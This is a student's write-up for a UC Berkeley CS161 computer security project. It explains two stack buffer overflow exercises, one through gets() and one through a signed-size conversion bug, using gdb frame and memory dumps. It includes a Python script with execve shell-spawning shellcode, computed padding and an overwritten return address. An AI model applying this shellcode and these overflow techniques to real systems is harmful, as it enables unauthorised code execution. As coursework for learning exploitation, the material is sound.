COMPSCI 161 Computer Security project 1-writeup - University of California, Berkeley COMPSCI 161

Question 1 Behind the Scenes
The vulnerability occurs in deja_vu function, where a malicious attacker can input more than 8
characters, which will cause buffer overflow of buffer “door.”
void​ deja_vu()
{
​char​ door[​8​];
​gets(door); // where buffer overflow occurs
}

The info frame in the deja_vu function gives me this result:
(gdb) i f
Stack level 0, frame at 0xbffff800:
...
Saved registers:
​ebp at ​0xbffff7f8​, eip at ​0xbffff7fc

(gdb) p &door
$1 = (char (*)[8]) ​0xbffff7e8

Here, I can learn that eip, a return address (the next instruction to execute after this function
returns) is stored at an address 0xbffff7fc. Also, by looking at the below result, I can know that
buffer door is stored at an address 0xbffff7e8.
This means that between the start of the local variable door and the eip, there are 0xbffff7fc -
0xbffff7e8 = 20 bytes. Therefore, if we overwrite this rip value, after 20 bytes, we can change
where this function returns to and manipulate the flow. We would like to have this eip point to
where the shellcode is located to spawn a dumb-shell, but shellcode is 39 bytes, bigger than 20
bytes. Therefore, we would like to place the shellcode above the return address, and have eip
point to 4 bytes above its own location (since addresses are 4 bytes), which is 0xbffff7fc + 0x4 =
0xbffff800. Since the address is in little endian, we start from the end, counting two bytes:
0xbffff800 => \x00\xf8\xff\xbf.

As a result, we padd 20 bytes of garbage, put address we calculated above, and shellcode.
Egg = "A" * 20 + address + shellcode

(gdb) x/8x door
Before gets(door):
0xbffff7e8​: 0xbffff89c 0xb7ffc165 0x00000000 0x00000000
0xbffff7f8: 0xbffff808 0xb7ffc4d3 0x00000000 0xbffff820
After gets(door):
0xbffff7e8​: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7f8: 0x41414141 0xbffff800 0xcd58316a 0x89c38980

-Red​: where door is stored
-Blue​: where RA is located

, Question 2 Behind the Scenes
The vulnerability occurs when in function display size is declared to be
int8_t​ size;
memset(msg, ​0​, ​128​);

​FILE​ *file = fopen(path, ​"r"​);
​if​ (!file) {
perror(​"fopen"​);
​return​;
}
​size_t​ n = fread(&size, ​1​, ​1​, file);
​if​ (n == ​0​ || size > ​128​)
​return​;
n = fread(msg, ​1​, size, file);
Int8_t takes both positive and negative number, but the fread takes size as size_t which is only
positive number. Therefore, in order to overflow the buffer, we need to pass in a number that
would be large when casted to size_t but is negative when being int8_t. In this case we choose
0xff
Because for this time the buffer is big enough to fit the shellcode, so we put the shell code right
after the size, at the beginning of the buffer.
In the next step, we use gdb to figure out the padding we need for overwrite the return address.

Stack level 0, frame at 0xbffff7d0:
eip = 0x400695 in display (agent-smith.c:9); saved eip = 0x400775
called by frame at 0xbffff800
source language c.
Arglist at 0xbffff7c8, args: path=0xbffff986 "pwnzerized"
Locals at 0xbffff7c8, Previous frame's sp is 0xbffff7d0
Saved registers:
ebx at 0xbffff7c4, ebp at 0xbffff7c8, eip at 0xbffff7cc
(gdb) p &msg
$1 = (char (*)[128]) 0xbffff738
(gdb) p 0xbffff7cc - 0xbffff738
$2 = 148


Therefore, we know that there are 148 bytes between the beginning of the buffer and the eip,
return address. The padding would be 148- size of the shell which is 39.

#!/usr/bin/env python2
size=​"​\xff​"
shellcode=​"​\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x50\
x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x50\x53\x89\xe1\x31\xd2\xb0\x0b\
xcd\x80​"
pad=​"A"​*​109
address=​"​\x38\xf7\xff\xbf​"
print​(size+shellcode+pad+address)

After the exploit. Msg is
0xbffff738: 0xcd58316a 0x89c38980 0x58466ac1 0xc03180cd
0xbffff748: 0x2f2f6850 0x2f686873 0x546e6962 0x8953505b
0xbffff758: 0xb0d231e1 0x4180cd0b 0x41414141 0x41414141